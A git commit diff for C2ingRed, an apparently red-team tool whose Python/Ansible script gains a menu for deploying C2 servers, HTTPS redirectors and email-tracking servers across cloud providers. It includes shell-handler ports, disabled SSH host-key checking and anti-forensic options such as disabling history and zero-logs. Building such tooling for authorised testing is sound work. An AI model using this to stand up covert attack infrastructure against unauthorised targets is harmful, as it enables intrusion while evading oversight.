Changed script to have a menu

This commit is contained in:
n0mad1k
2025-05-08 16:17:30 -04:00
parent 89f5e7cfb4
commit 3fc22c61b3
5 changed files with 781 additions and 424 deletions
+1
View File
@@ -3,3 +3,4 @@ venv
deployment* deployment*
config.yml config.yml
logs/ logs/
domainhunter/
+2 -2
View File
@@ -9,7 +9,7 @@
- vars.yaml - vars.yaml
vars: vars:
# Default values # Default values
ssh_user: "{{ ssh_user | default('kali') }}" ssh_user: "{{ ssh_user | default('root') }}"
aws_region: "{{ aws_region | default(aws_region_choices | random) }}" aws_region: "{{ aws_region | default(aws_region_choices | random) }}"
instance_type: "{{ aws_instance_type | default('t2.medium') }}" instance_type: "{{ aws_instance_type | default('t2.medium') }}"
deployment_id: "{{ deployment_id | default('') }}" deployment_id: "{{ deployment_id | default('') }}"
@@ -57,7 +57,7 @@
# Add AMI username mapping - improved with better detection # Add AMI username mapping - improved with better detection
- name: Determine correct SSH user for the AMI - name: Determine correct SSH user for the AMI
set_fact: set_fact:
ami_ssh_user: "{{ 'kali' if (ami_id is defined and ami_id is search('-kali-')) or (ami_id is defined and ami_id == 'ami-061b17d332829ab1c') else 'ubuntu' }}" ami_ssh_user: "{{ 'root' if (ami_id is defined and ami_id is search('-root-')) or (ami_id is defined and ami_id == 'ami-061b17d332829ab1c') else 'ubuntu' }}"
- name: Display AMI and user information for debugging - name: Display AMI and user information for debugging
debug: debug:
+2 -2
View File
@@ -9,7 +9,7 @@
- vars.yaml - vars.yaml
vars: vars:
# Default values # Default values
ssh_user: "{{ ssh_user | default('ubuntu') }}" # Changed from 'kali' to 'ubuntu' ssh_user: "{{ ssh_user | default('ubuntu') }}" # Changed from 'root' to 'ubuntu'
aws_region: "{{ aws_region | default(aws_region_choices | random) }}" aws_region: "{{ aws_region | default(aws_region_choices | random) }}"
instance_type: "{{ aws_instance_type | default('t2.micro') }}" instance_type: "{{ aws_instance_type | default('t2.micro') }}"
deployment_id: "{{ deployment_id | default('') }}" deployment_id: "{{ deployment_id | default('') }}"
@@ -205,7 +205,7 @@
name: "redirector" name: "redirector"
groups: "redirectors" groups: "redirectors"
ansible_host: "{{ redirector_ip }}" ansible_host: "{{ redirector_ip }}"
ansible_user: "ubuntu" # Change this from 'kali' to 'ubuntu' ansible_user: "ubuntu" # Change this from 'root' to 'ubuntu'
ansible_ssh_private_key_file: "~/.ssh/{{ redirector_name }}.pem" ansible_ssh_private_key_file: "~/.ssh/{{ redirector_name }}.pem"
ansible_ssh_common_args: "-o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o IdentitiesOnly=yes" ansible_ssh_common_args: "-o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o IdentitiesOnly=yes"
ansible_python_interpreter: "/usr/bin/python3" ansible_python_interpreter: "/usr/bin/python3"
Regular → Executable
+613 -60
View File
@@ -15,13 +15,487 @@ import logging
import tempfile import tempfile
from datetime import datetime from datetime import datetime
debug_mode = True
deployment_id = None
# Color codes for terminal output
COLORS = {
"RESET": "\033[0m",
"RED": "\033[91m",
"GREEN": "\033[92m",
"YELLOW": "\033[93m",
"BLUE": "\033[94m",
"PURPLE": "\033[95m",
"CYAN": "\033[96m",
"WHITE": "\033[97m",
"GRAY": "\033[90m"
}
def clear_screen():
"""Clear the terminal screen"""
os.system('cls' if os.name == 'nt' else 'clear')
def print_banner():
"""Print the C2ingRed banner"""
banner = f"""
{COLORS['BLUE']}========================================================{COLORS['RESET']}
{COLORS['BLUE']} ██████╗██████╗ ██╗███╗ ██╗ ██████╗ ██████╗ ███████╗██████╗{COLORS['RESET']}
{COLORS['BLUE']} ██╔════╝╚════██╗██║████╗ ██║██╔════╝ ██╔══██╗██╔════╝██╔══██╗{COLORS['RESET']}
{COLORS['BLUE']} ██║ █████╔╝██║██╔██╗ ██║██║ ███╗██████╔╝█████╗ ██║ ██║{COLORS['RESET']}
{COLORS['BLUE']} ██║ ██╔═══╝ ██║██║╚██╗██║██║ ██║██╔══██╗██╔══╝ ██║ ██║{COLORS['RESET']}
{COLORS['BLUE']} ╚██████╗███████╗██║██║ ╚████║╚██████╔╝██║ ██║███████╗██████╔╝{COLORS['RESET']}
{COLORS['BLUE']} ╚═════╝╚══════╝╚═╝╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝{COLORS['RESET']}
{COLORS['BLUE']} {COLORS['RESET']}
{COLORS['BLUE']} Red Team Infrastructure Deployment Tool {COLORS['RESET']}
{COLORS['BLUE']}========================================================{COLORS['RESET']}
"""
print(banner)
def main_menu():
"""Display the main menu and handle user selection"""
global debug_mode
while True:
clear_screen()
print_banner()
print(f"{COLORS['WHITE']}MAIN MENU{COLORS['RESET']}")
print(f"{COLORS['WHITE']}=========={COLORS['RESET']}")
print(f"1) Deploy Full C2 Infrastructure")
print(f"2) Deploy Basic C2 Infrastructure")
print(f"3) Deploy C2 Server")
print(f"4) Deploy Redirector")
print(f"5) Deploy Email Tracking Server")
print(f"6) Deploy Payload Server {COLORS['GRAY']}*UNDER-CONSTRUCTION*{COLORS['RESET']}")
print(f"7) Deploy Phishing Server {COLORS['GRAY']}*UNDER-CONSTRUCTION*{COLORS['RESET']}")
print(f"8) Deploy Logging Server {COLORS['GRAY']}*UNDER-CONSTRUCTION*{COLORS['RESET']}")
print(f"9) Deploy Share-Drive {COLORS['GRAY']}*UNDER-CONSTRUCTION*{COLORS['RESET']}")
print(f"10) Deploy Hashtopolis {COLORS['GRAY']}*UNDER-CONSTRUCTION*{COLORS['RESET']}")
print(f"11) Custom Deployment")
print(f"12) Tools")
print(f"13) Debug Mode: {COLORS['GREEN'] if debug_mode else COLORS['RED']}{debug_mode}{COLORS['RESET']}")
print(f"")
print(f"99) Exit")
choice = input("\nSelect an option: ")
if choice == "1":
deploy_full_c2()
elif choice == "2":
deploy_basic_c2()
elif choice == "3":
deploy_c2_server()
elif choice == "4":
redirector_menu()
elif choice == "5":
deploy_tracker()
elif choice in ["6", "7", "8", "9", "10"]:
print(f"\n{COLORS['YELLOW']}This feature is currently under construction.{COLORS['RESET']}")
input("\nPress Enter to continue...")
elif choice == "11":
custom_deployment()
elif choice == "12":
tools_menu()
elif choice == "13":
toggle_debug_mode()
elif choice == "99":
print(f"\n{COLORS['GREEN']}Exiting C2ingRed. Goodbye!{COLORS['RESET']}")
sys.exit(0)
else:
print(f"\n{COLORS['RED']}Invalid option. Please try again.{COLORS['RESET']}")
time.sleep(1)
def toggle_debug_mode():
"""Toggle debug mode on/off"""
global debug_mode
debug_mode = not debug_mode
# Set environment variables for more verbose Ansible output
if debug_mode:
os.environ["ANSIBLE_VERBOSITY"] = "3"
else:
os.environ.pop("ANSIBLE_VERBOSITY", None)
print(f"\n{COLORS['GREEN']}Debug mode {'enabled' if debug_mode else 'disabled'}.{COLORS['RESET']}")
time.sleep(1)
def redirector_menu():
"""Display the redirector submenu and handle user selection"""
while True:
clear_screen()
print_banner()
print(f"{COLORS['WHITE']}REDIRECTOR MENU{COLORS['RESET']}")
print(f"{COLORS['WHITE']}================{COLORS['RESET']}")
print(f"1) HTTPS Redirector")
print(f"2) DNS Redirector {COLORS['GRAY']}*UNDER-CONSTRUCTION*{COLORS['RESET']}")
print(f"3) SMTP Redirector {COLORS['GRAY']}*UNDER-CONSTRUCTION*{COLORS['RESET']}")
print(f"99) Return to Main Menu")
choice = input("\nSelect an option: ")
if choice == "1":
deploy_https_redirector()
elif choice in ["2", "3"]:
print(f"\n{COLORS['YELLOW']}This feature is currently under construction.{COLORS['RESET']}")
input("\nPress Enter to continue...")
elif choice == "99":
return
else:
print(f"\n{COLORS['RED']}Invalid option. Please try again.{COLORS['RESET']}")
time.sleep(1)
def tools_menu():
"""Display the tools submenu and handle user selection"""
while True:
clear_screen()
print_banner()
print(f"{COLORS['WHITE']}TOOLS MENU{COLORS['RESET']}")
print(f"{COLORS['WHITE']}=========={COLORS['RESET']}")
print(f"1) Distributed Amass Scanning {COLORS['GRAY']}*UNDER-CONSTRUCTION*{COLORS['RESET']}")
print(f"2) PLACEHOLDER {COLORS['GRAY']}*UNDER-CONSTRUCTION*{COLORS['RESET']}")
print(f"99) Return to Main Menu")
choice = input("\nSelect an option: ")
if choice in ["1", "2"]:
print(f"\n{COLORS['YELLOW']}This feature is currently under construction.{COLORS['RESET']}")
input("\nPress Enter to continue...")
elif choice == "99":
return
else:
print(f"\n{COLORS['RED']}Invalid option. Please try again.{COLORS['RESET']}")
time.sleep(1)
def deploy_full_c2():
"""Deploy a complete C2 infrastructure with all components"""
config = gather_common_parameters()
if not config:
return
config['redirector_only'] = False
config['c2_only'] = False
config['deploy_tracker'] = True
config['integrated_tracker'] = False
execute_deployment(config)
def deploy_basic_c2():
"""Deploy a basic C2 infrastructure with C2 server and redirector"""
config = gather_common_parameters()
if not config:
return
config['redirector_only'] = False
config['c2_only'] = False
config['deploy_tracker'] = False
config['integrated_tracker'] = False
execute_deployment(config)
def deploy_c2_server():
"""Deploy only the C2 server"""
config = gather_common_parameters()
if not config:
return
config['redirector_only'] = False
config['c2_only'] = True
config['deploy_tracker'] = False
config['integrated_tracker'] = False
execute_deployment(config)
def deploy_https_redirector():
"""Deploy only the HTTPS redirector"""
config = gather_common_parameters()
if not config:
return
config['redirector_only'] = True
config['c2_only'] = False
config['deploy_tracker'] = False
config['integrated_tracker'] = False
execute_deployment(config)
def deploy_tracker():
"""Deploy an email tracking server"""
config = gather_common_parameters()
if not config:
return
config['redirector_only'] = False
config['c2_only'] = False
config['deploy_tracker'] = True
config['integrated_tracker'] = False
execute_deployment(config)
def custom_deployment():
"""Run the full interactive deployment wizard"""
deployment_id = generate_deployment_id()
config = interactive_setup(deployment_id)
if config:
execute_deployment(config)
def initialize_deployment():
"""Initialize global deployment ID"""
global deployment_id
deployment_id = generate_deployment_id()
return deployment_id
def gather_common_parameters():
"""Collect common parameters needed for deployments"""
global debug_mode, deployment_id
config = {'deployment_id': deployment_id}
config['debug'] = debug_mode
# Get provider
provider = select_provider()
if not provider:
return None
config['provider'] = provider
# Load provider-specific vars
provider_vars = load_vars_file(provider)
# Get provider-specific credentials
if provider == "aws":
aws_creds = get_aws_credentials(provider_vars)
if not aws_creds:
return None
config.update(aws_creds)
elif provider == "linode":
linode_token = get_linode_token(provider_vars)
if not linode_token:
return None
config['linode_token'] = linode_token
elif provider == "flokinet":
flokinet_ips = get_flokinet_ips(provider_vars)
if not flokinet_ips:
return None
config.update(flokinet_ips)
# Ask if user wants multi-region or cross-provider deployment
multi_region = input(f"\n{COLORS['YELLOW']}Do you want to deploy redirector and C2 in different regions? (y/n) [default: n]: {COLORS['RESET']}").lower() == 'y'
if multi_region:
if provider != "flokinet": # FlokiNET doesn't support region selection
# Get region for C2
c2_region = select_region(provider, provider_vars, "C2 server")
if provider == "aws":
config['c2_region'] = c2_region
elif provider == "linode":
config['c2_region'] = c2_region
# Get region for redirector
redirector_region = select_region(provider, provider_vars, "redirector")
if provider == "aws":
config['redirector_region'] = redirector_region
elif provider == "linode":
config['redirector_region'] = redirector_region
else:
# Get single region for both
region = select_region(provider, provider_vars)
if provider == "aws":
config['aws_region'] = region
elif provider == "linode":
config['linode_region'] = region
else:
config['region'] = region
# Get domain
domain = input(f"\nEnter domain name [default: {provider_vars.get('domain', 'example.com')}]: ") or provider_vars.get('domain', 'example.com')
config['domain'] = domain
# Get subdomains
redirector_subdomain = input(f"\nEnter redirector subdomain [default: cdn]: ") or "cdn"
config['redirector_subdomain'] = redirector_subdomain
c2_subdomain = input(f"Enter C2 server subdomain [default: mail]: ") or "mail"
config['c2_subdomain'] = c2_subdomain
# Get email for Let's Encrypt
default_email = f"admin@{domain}"
email = input(f"\nEnter email for Let's Encrypt [default: {default_email}]: ") or default_email
config['letsencrypt_email'] = email
# Set SSH key
config['ssh_key'] = generate_ssh_key(deployment_id)
config['ssh_key_path'] = f"{config['ssh_key']}.pub"
# Set consistent resource names based on deployment ID
config['redirector_name'] = f"r-{deployment_id}"
config['c2_name'] = f"s-{deployment_id}"
config['tracker_name'] = f"t-{deployment_id}"
# Security options
print("\nSecurity options:")
config['disable_history'] = input("Disable command history? (y/n) [default: y]: ").lower() != 'n'
config['secure_memory'] = input("Enable secure memory settings? (y/n) [default: y]: ").lower() != 'n'
config['zero_logs'] = input("Enable zero-logs configuration? (y/n) [default: y]: ").lower() != 'n'
return config
def select_provider():
"""Let the user select a cloud provider"""
print("\nAvailable cloud providers:")
for i, provider in enumerate(PROVIDERS, 1):
print(f" {i}. {provider.capitalize()}")
while True:
try:
provider_choice = input("\nSelect a provider (1-3 or 99 to cancel): ")
if provider_choice == "99":
return None
provider_choice = int(provider_choice)
if 1 <= provider_choice <= len(PROVIDERS):
return PROVIDERS[provider_choice - 1]
else:
print(f"{COLORS['RED']}Please enter a number between 1 and {len(PROVIDERS)}{COLORS['RESET']}")
except ValueError:
print(f"{COLORS['RED']}Please enter a valid number{COLORS['RESET']}")
def get_aws_credentials(provider_vars):
"""Get AWS credentials from user or vars file"""
default_aws_key = provider_vars.get('aws_access_key', '')
default_aws_secret = provider_vars.get('aws_secret_key', '')
aws_key = input(f"\nAWS Access Key [{'*****' if default_aws_key else 'leave blank to use AWS CLI profile'}]: ") or default_aws_key
aws_secret = input(f"AWS Secret Key [{'*****' if default_aws_secret else 'leave blank to use AWS CLI profile'}]: ") or default_aws_secret
return {
'aws_access_key': aws_key,
'aws_secret_key': aws_secret
}
def get_linode_token(provider_vars):
"""Get Linode API token from user or vars file"""
default_token = provider_vars.get('linode_token', '')
token = input(f"\nLinode API Token [{'*****' if default_token else 'required'}]: ") or default_token
if not token:
print(f"{COLORS['RED']}Linode API token is required{COLORS['RESET']}")
input("\nPress Enter to continue...")
return None
return token
def get_flokinet_ips(provider_vars):
"""Get FlokiNET server IPs from user or vars file"""
default_redirector_ip = provider_vars.get('redirector_ip', '')
default_c2_ip = provider_vars.get('c2_ip', '')
redirector_ip = input(f"\nFlokiNET Redirector IP Address [default: {default_redirector_ip}]: ") or default_redirector_ip
c2_ip = input(f"FlokiNET C2 Server IP Address [default: {default_c2_ip}]: ") or default_c2_ip
return {
'flokinet_redirector_ip': redirector_ip,
'flokinet_c2_ip': c2_ip
}
def select_region(provider, provider_vars, component=None):
"""Let the user select a region for deployment"""
component_str = f" for {component}" if component else ""
if provider == "aws":
regions = provider_vars.get('aws_region_choices', [])
elif provider == "linode":
regions = provider_vars.get('region_choices', [])
else:
return None
if not regions:
print(f"{COLORS['YELLOW']}No regions found for {provider}, using random selection{COLORS['RESET']}")
return None
print(f"\nAvailable {provider.capitalize()} regions{component_str}:")
for i, region in enumerate(regions, 1):
print(f" {i}. {region}")
region_input = input(f"\nSelect region{component_str} (number or leave blank for random): ")
if not region_input:
return random.choice(regions)
try:
region_choice = int(region_input)
if 1 <= region_choice <= len(regions):
return regions[region_choice - 1]
else:
print(f"{COLORS['RED']}Invalid choice, using random region{COLORS['RESET']}")
return random.choice(regions)
except ValueError:
print(f"{COLORS['RED']}Invalid input, using random region{COLORS['RESET']}")
return random.choice(regions)
def ensure_full_cleanup(config, success=False):
"""Ensure all resources are properly cleaned up on failure"""
if success:
# Only cleanup SSH keys on successful deployment
if hasattr(generate_ssh_key, 'generated_keys') and not config.get('keep_ssh_keys', False):
for key_path in generate_ssh_key.generated_keys:
# Only remove keys we generated for this deployment
if config.get('deployment_id') and f"_{config['deployment_id']}" in key_path:
try:
if os.path.exists(key_path):
os.remove(key_path)
if os.path.exists(f"{key_path}.pub"):
os.remove(f"{key_path}.pub")
logging.info(f"Removed temporary SSH key: {key_path}")
except Exception as e:
logging.error(f"Failed to remove SSH key {key_path}: {e}")
return
# For failed deployments, clean up all resources
try:
cleanup_resources(config, interactive=True)
except Exception as e:
logging.error(f"Error during resource cleanup: {e}")
# Always clean up SSH keys on failure
if hasattr(generate_ssh_key, 'generated_keys'):
for key_path in generate_ssh_key.generated_keys:
try:
if os.path.exists(key_path):
os.remove(key_path)
if os.path.exists(f"{key_path}.pub"):
os.remove(f"{key_path}.pub")
logging.info(f"Removed temporary SSH key: {key_path}")
except Exception as e:
logging.error(f"Failed to remove SSH key {key_path}: {e}")
def execute_deployment(config):
"""Execute the deployment with the given configuration"""
clear_screen()
print_banner()
print(f"\n{COLORS['GREEN']}Starting deployment with the following configuration:{COLORS['RESET']}")
# Print configuration (excluding sensitive data)
for key, value in config.items():
if key not in ['aws_secret_key', 'linode_token', 'smtp_auth_pass']:
print(f" {key}: {value}")
confirm = input(f"\n{COLORS['YELLOW']}Proceed with deployment? (y/n): {COLORS['RESET']}").lower()
if confirm != 'y':
print(f"\n{COLORS['YELLOW']}Deployment cancelled.{COLORS['RESET']}")
input("\nPress Enter to return to menu...")
return
# Call the existing deployment function
success = deploy_infrastructure(config)
if success:
print(f"\n{COLORS['GREEN']}Deployment completed successfully!{COLORS['RESET']}")
else:
print(f"\n{COLORS['RED']}Deployment failed.{COLORS['RESET']}")
input("\nPress Enter to return to menu...")
# Disable Ansible host key checking # Disable Ansible host key checking
os.environ["ANSIBLE_HOST_KEY_CHECKING"] = "False" os.environ["ANSIBLE_HOST_KEY_CHECKING"] = "False"
# Constants for providers # Constants for providers
PROVIDERS = ["aws", "linode", "flokinet"] PROVIDERS = ["aws", "linode", "flokinet"]
DEFAULT_SSH_USER = { DEFAULT_SSH_USER = {
"aws": "kali", "aws": "root",
"linode": "root", "linode": "root",
"flokinet": "root" "flokinet": "root"
} }
@@ -452,12 +926,8 @@ def load_vars_file(provider):
return {} return {}
def generate_random_string(length=8):
"""Generate a random string of letters and digits."""
return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))
def generate_ssh_key(deployment_id=None): def generate_ssh_key(deployment_id=None):
"""Generate an SSH key for deployment""" """Generate an SSH key for deployment with proper tracking for cleanup"""
# Use deployment_id if provided, otherwise generate random suffix # Use deployment_id if provided, otherwise generate random suffix
if deployment_id: if deployment_id:
key_name = f"c2deploy_{deployment_id}" key_name = f"c2deploy_{deployment_id}"
@@ -471,6 +941,13 @@ def generate_ssh_key(deployment_id=None):
private_key_path = os.path.join(ssh_dir, key_name) private_key_path = os.path.join(ssh_dir, key_name)
public_key_path = f"{private_key_path}.pub" public_key_path = f"{private_key_path}.pub"
# Add key to global cleanup tracking dict if it doesn't exist
if not hasattr(generate_ssh_key, 'generated_keys'):
generate_ssh_key.generated_keys = set()
generate_ssh_key.generated_keys.add(private_key_path)
logging.info(f"Added {private_key_path} to cleanup tracking (total: {len(generate_ssh_key.generated_keys)})")
logging.info(f"Generating SSH key: {key_name}") logging.info(f"Generating SSH key: {key_name}")
try: try:
subprocess.run( subprocess.run(
@@ -619,6 +1096,33 @@ def select_random_region(config):
logging.info(f"Selected random {provider} region: {region}") logging.info(f"Selected random {provider} region: {region}")
return region return region
def create_consistent_resource_names(config):
"""Ensure all resources have consistent naming based on deployment ID"""
deployment_id = config.get('deployment_id')
if not deployment_id:
logging.error("No deployment ID found in config")
return config
# Set consistent names for all resources
config['redirector_name'] = f"r-{deployment_id}"
config['c2_name'] = f"s-{deployment_id}"
config['tracker_name'] = f"t-{deployment_id}"
# Ensure SSH key follows same pattern
if not config.get('ssh_key'):
config['ssh_key'] = os.path.expanduser(f"~/.ssh/c2deploy_{deployment_id}")
# Set consistent public key path
if config.get('ssh_key'):
config['ssh_key_path'] = f"{config['ssh_key']}.pub"
# Set other resource names with the same deployment ID
config['vpc_name'] = f"vpc-{deployment_id}"
config['sg_name'] = f"sg-{deployment_id}"
logging.info(f"Set consistent resource names with deployment ID: {deployment_id}")
return config
def create_inventory_file(config, deployment_type): def create_inventory_file(config, deployment_type):
"""Create a temporary inventory file for Ansible based on deployment type""" """Create a temporary inventory file for Ansible based on deployment type"""
inventory_content = [] inventory_content = []
@@ -1471,7 +1975,7 @@ def generate_deployment_info(config, success=True):
info.append("") info.append("")
info.append("CLEANUP COMMAND") info.append("CLEANUP COMMAND")
info.append("---------------") info.append("---------------")
info.append(f"python3 deploy.py --provider {config.get('provider', 'PROVIDER')} --teardown") info.append(f"python3 deploy.py --provider {config.get('provider', 'PROVIDER')} --c2-name {config.get('c2_name', 'C2_NAME')} --redirector-name {config.get('redirector_name', 'REDIRECTOR_NAME')} --teardown")
if config.get('provider') == 'linode': if config.get('provider') == 'linode':
info.append(f"Additional parameters: --linode-token YOUR_TOKEN --c2-name {config.get('c2_name', 'C2_NAME')} --redirector-name {config.get('redirector_name', 'REDIRECTOR_NAME')}") info.append(f"Additional parameters: --linode-token YOUR_TOKEN --c2-name {config.get('c2_name', 'C2_NAME')} --redirector-name {config.get('redirector_name', 'REDIRECTOR_NAME')}")
elif config.get('provider') == 'aws': elif config.get('provider') == 'aws':
@@ -1534,36 +2038,47 @@ def deploy_cross_provider(config, redirector_provider, c2_provider):
def main(): def main():
"""Main function to run the deployment""" """Main function to run the deployment"""
# Display banner global debug_mode, deployment_id
print("""
========================================
C2ingRed - Red Team Infrastructure Setup
========================================
""")
# Parse command line arguments first (don't set up logging yet) # Initialize the global deployment ID
deployment_id = generate_deployment_id()
# Check if any command-line arguments were provided
if len(sys.argv) > 1:
# Arguments provided, use the original CLI flow
args = parse_arguments() args = parse_arguments()
# Generate a deployment ID FIRST - before any other operations
deployment_id = generate_deployment_id()
# Set up logging with our consistent deployment ID
log_file = setup_logging(deployment_id)
# Check dependencies # Check dependencies
check_dependencies() check_dependencies()
# Generate a single deployment ID that will be used for EVERYTHING # Validate deployment mode
deployment_id = generate_deployment_id() if hasattr(args, 'redirector_only') and hasattr(args, 'c2_only') and args.redirector_only and args.c2_only:
logging.error("Cannot specify both --redirector-only and --c2-only")
return
# NOW set up logging with our deployment ID # Check if this is a teardown operation
log_file = setup_logging(deployment_id) if hasattr(args, 'teardown') and args.teardown:
teardown_infrastructure(vars(args))
return
# Check if this is a test operation
if hasattr(args, 'run_tests') and args.run_tests:
run_tests(vars(args))
return
# Use interactive mode if specified
if args.interactive:
config = interactive_setup(deployment_id)
else:
# Override provider if --flokinet is specified # Override provider if --flokinet is specified
if args.flokinet: if hasattr(args, 'flokinet') and args.flokinet:
args.provider = "flokinet" args.provider = "flokinet"
# Load variables from provider-specific vars.yaml if provider is specified # Load variables from provider-specific vars.yaml if provider is specified
vars_data = {} vars_data = {}
if args.provider: if hasattr(args, 'provider') and args.provider:
provider_dir = PROVIDER_DIRS.get(args.provider, args.provider.upper()) provider_dir = PROVIDER_DIRS.get(args.provider, args.provider.upper())
vars_file = f"{provider_dir}/vars.yaml" vars_file = f"{provider_dir}/vars.yaml"
if os.path.exists(vars_file): if os.path.exists(vars_file):
@@ -1574,50 +2089,77 @@ C2ingRed - Red Team Infrastructure Setup
except Exception as e: except Exception as e:
logging.warning(f"Failed to load {vars_file}: {e}") logging.warning(f"Failed to load {vars_file}: {e}")
# Handle the interactive flag
if hasattr(args, 'interactive') and args.interactive:
config = interactive_setup(deployment_id) # Pass the deployment_id here
else:
# Build configuration by combining args and vars_data # Build configuration by combining args and vars_data
config = {} config = {}
# Provider settings
config['provider'] = args.provider
# Copy all values from vars_data to config first # Copy all values from vars_data to config first
for key, value in vars_data.items(): for key, value in vars_data.items():
config[key] = value config[key] = value
# Store the deployment ID in the config # Provider settings
config['deployment_id'] = deployment_id if hasattr(args, 'provider'):
config['provider'] = args.provider
# Store the deployment ID
config['deployment_id'] = deployment_id # Use our consistent deployment ID
# Use consistent deployment ID for all resource names # Use consistent deployment ID for all resource names
if hasattr(args, 'redirector_name'):
config['redirector_name'] = args.redirector_name or f"r-{deployment_id}" config['redirector_name'] = args.redirector_name or f"r-{deployment_id}"
else:
config['redirector_name'] = f"r-{deployment_id}"
if hasattr(args, 'c2_name'):
config['c2_name'] = args.c2_name or f"s-{deployment_id}" config['c2_name'] = args.c2_name or f"s-{deployment_id}"
else:
config['c2_name'] = f"s-{deployment_id}"
if hasattr(args, 'tracker_name'):
config['tracker_name'] = args.tracker_name or f"t-{deployment_id}" config['tracker_name'] = args.tracker_name or f"t-{deployment_id}"
else:
config['tracker_name'] = f"t-{deployment_id}"
# Subdomain settings - ensure these are explicitly set # Subdomain settings - ensure these are explicitly set
if hasattr(args, 'redirector_subdomain'):
config['redirector_subdomain'] = args.redirector_subdomain or 'cdn' config['redirector_subdomain'] = args.redirector_subdomain or 'cdn'
if hasattr(args, 'c2_subdomain'):
config['c2_subdomain'] = args.c2_subdomain or 'mail' config['c2_subdomain'] = args.c2_subdomain or 'mail'
# AWS settings # AWS settings
if args.provider == "aws": if args.provider == "aws":
if hasattr(args, 'aws_key'):
config['aws_access_key'] = args.aws_key or vars_data.get('aws_access_key') config['aws_access_key'] = args.aws_key or vars_data.get('aws_access_key')
if hasattr(args, 'aws_secret'):
config['aws_secret_key'] = args.aws_secret or vars_data.get('aws_secret_key') config['aws_secret_key'] = args.aws_secret or vars_data.get('aws_secret_key')
if hasattr(args, 'aws_region'):
config['aws_region'] = args.aws_region or args.region or vars_data.get('aws_region') config['aws_region'] = args.aws_region or args.region or vars_data.get('aws_region')
config['aws_region_choices'] = vars_data.get('aws_region_choices', []) config['aws_region_choices'] = vars_data.get('aws_region_choices', [])
config['ami_map'] = vars_data.get('ami_map', {}) config['ami_map'] = vars_data.get('ami_map', {})
if hasattr(args, 'size'):
config['size'] = args.size or vars_data.get('aws_instance_type', 't2.medium') config['size'] = args.size or vars_data.get('aws_instance_type', 't2.medium')
# Linode settings # Linode settings
elif args.provider == "linode": elif args.provider == "linode":
if hasattr(args, 'linode_token'):
config['linode_token'] = args.linode_token or vars_data.get('linode_token') config['linode_token'] = args.linode_token or vars_data.get('linode_token')
if hasattr(args, 'linode_region'):
config['linode_region'] = args.linode_region or args.region or vars_data.get('linode_region') config['linode_region'] = args.linode_region or args.region or vars_data.get('linode_region')
# Ensure region_choices are correctly set # Ensure region_choices are correctly set
config['region_choices'] = vars_data.get('region_choices', []) config['region_choices'] = vars_data.get('region_choices', [])
if hasattr(args, 'size'):
config['plan'] = args.size or vars_data.get('plan', 'g6-standard-2') config['plan'] = args.size or vars_data.get('plan', 'g6-standard-2')
config['image'] = vars_data.get('image', 'linode/kali') config['image'] = vars_data.get('image', 'linode/kali')
config['redirector_image'] = vars_data.get('redirector_image', 'linode/debian11') config['redirector_image'] = vars_data.get('redirector_image', 'linode/debian11')
# FlokiNET settings # FlokiNET settings
elif args.provider == "flokinet": elif args.provider == "flokinet":
if hasattr(args, 'flokinet_redirector_ip'):
config['flokinet_redirector_ip'] = args.flokinet_redirector_ip or vars_data.get('redirector_ip') config['flokinet_redirector_ip'] = args.flokinet_redirector_ip or vars_data.get('redirector_ip')
if hasattr(args, 'flokinet_c2_ip'):
config['flokinet_c2_ip'] = args.flokinet_c2_ip or vars_data.get('c2_ip') config['flokinet_c2_ip'] = args.flokinet_c2_ip or vars_data.get('c2_ip')
config['flokinet_region_choices'] = vars_data.get('flokinet_region_choices', []) config['flokinet_region_choices'] = vars_data.get('flokinet_region_choices', [])
config['ssh_port'] = vars_data.get('ssh_port', 22) config['ssh_port'] = vars_data.get('ssh_port', 22)
@@ -1626,27 +2168,37 @@ C2ingRed - Red Team Infrastructure Setup
if args.provider == "linode": if args.provider == "linode":
config['ssh_user'] = "root" config['ssh_user'] = "root"
elif args.provider == "aws": elif args.provider == "aws":
config['ssh_user'] = "kali" config['ssh_user'] = "root"
else: else:
config['ssh_user'] = args.ssh_user or vars_data.get('ssh_user') or (DEFAULT_SSH_USER.get(args.provider) if args.provider else None) if hasattr(args, 'ssh_user'):
config['ssh_user'] = args.ssh_user or vars_data.get('ssh_user') or DEFAULT_SSH_USER.get(args.provider)
if args.ssh_key: # ONLY generate an SSH key if needed - not for teardown operations
if hasattr(args, 'ssh_key'):
config['ssh_key'] = os.path.expanduser(args.ssh_key) config['ssh_key'] = os.path.expanduser(args.ssh_key)
else: else:
# Generate a key if no key is provided and we're not in teardown mode # Generate a key if no key is provided and we're not in teardown mode
if not args.teardown: if not hasattr(args, 'teardown') or not args.teardown:
config['ssh_key'] = generate_ssh_key(deployment_id) config['ssh_key'] = generate_ssh_key(deployment_id) # Use the same deployment ID
# Deployment options # Deployment options
if hasattr(args, 'redirector_only'):
config['redirector_only'] = args.redirector_only config['redirector_only'] = args.redirector_only
if hasattr(args, 'c2_only'):
config['c2_only'] = args.c2_only config['c2_only'] = args.c2_only
if hasattr(args, 'debug'):
config['debug'] = args.debug config['debug'] = args.debug
if hasattr(args, 'domain'):
config['domain'] = args.domain or vars_data.get('domain', 'example.com') config['domain'] = args.domain or vars_data.get('domain', 'example.com')
if hasattr(args, 'letsencrypt_email'):
config['letsencrypt_email'] = args.letsencrypt_email or vars_data.get('letsencrypt_email', f"admin@{config['domain']}") config['letsencrypt_email'] = args.letsencrypt_email or vars_data.get('letsencrypt_email', f"admin@{config['domain']}")
# OPSEC settings # OPSEC settings
if hasattr(args, 'disable_history'):
config['disable_history'] = args.disable_history if args.disable_history is not None else vars_data.get('disable_history', True) config['disable_history'] = args.disable_history if args.disable_history is not None else vars_data.get('disable_history', True)
if hasattr(args, 'secure_memory'):
config['secure_memory'] = args.secure_memory if args.secure_memory is not None else vars_data.get('secure_memory', True) config['secure_memory'] = args.secure_memory if args.secure_memory is not None else vars_data.get('secure_memory', True)
if hasattr(args, 'zero_logs'):
config['zero_logs'] = args.zero_logs if args.zero_logs is not None else vars_data.get('zero_logs', True) config['zero_logs'] = args.zero_logs if args.zero_logs is not None else vars_data.get('zero_logs', True)
# Other settings from vars_data # Other settings from vars_data
@@ -1656,13 +2208,20 @@ C2ingRed - Red Team Infrastructure Setup
config['shell_handler_port'] = vars_data.get('shell_handler_port', str(random.randint(4000, 65000))) config['shell_handler_port'] = vars_data.get('shell_handler_port', str(random.randint(4000, 65000)))
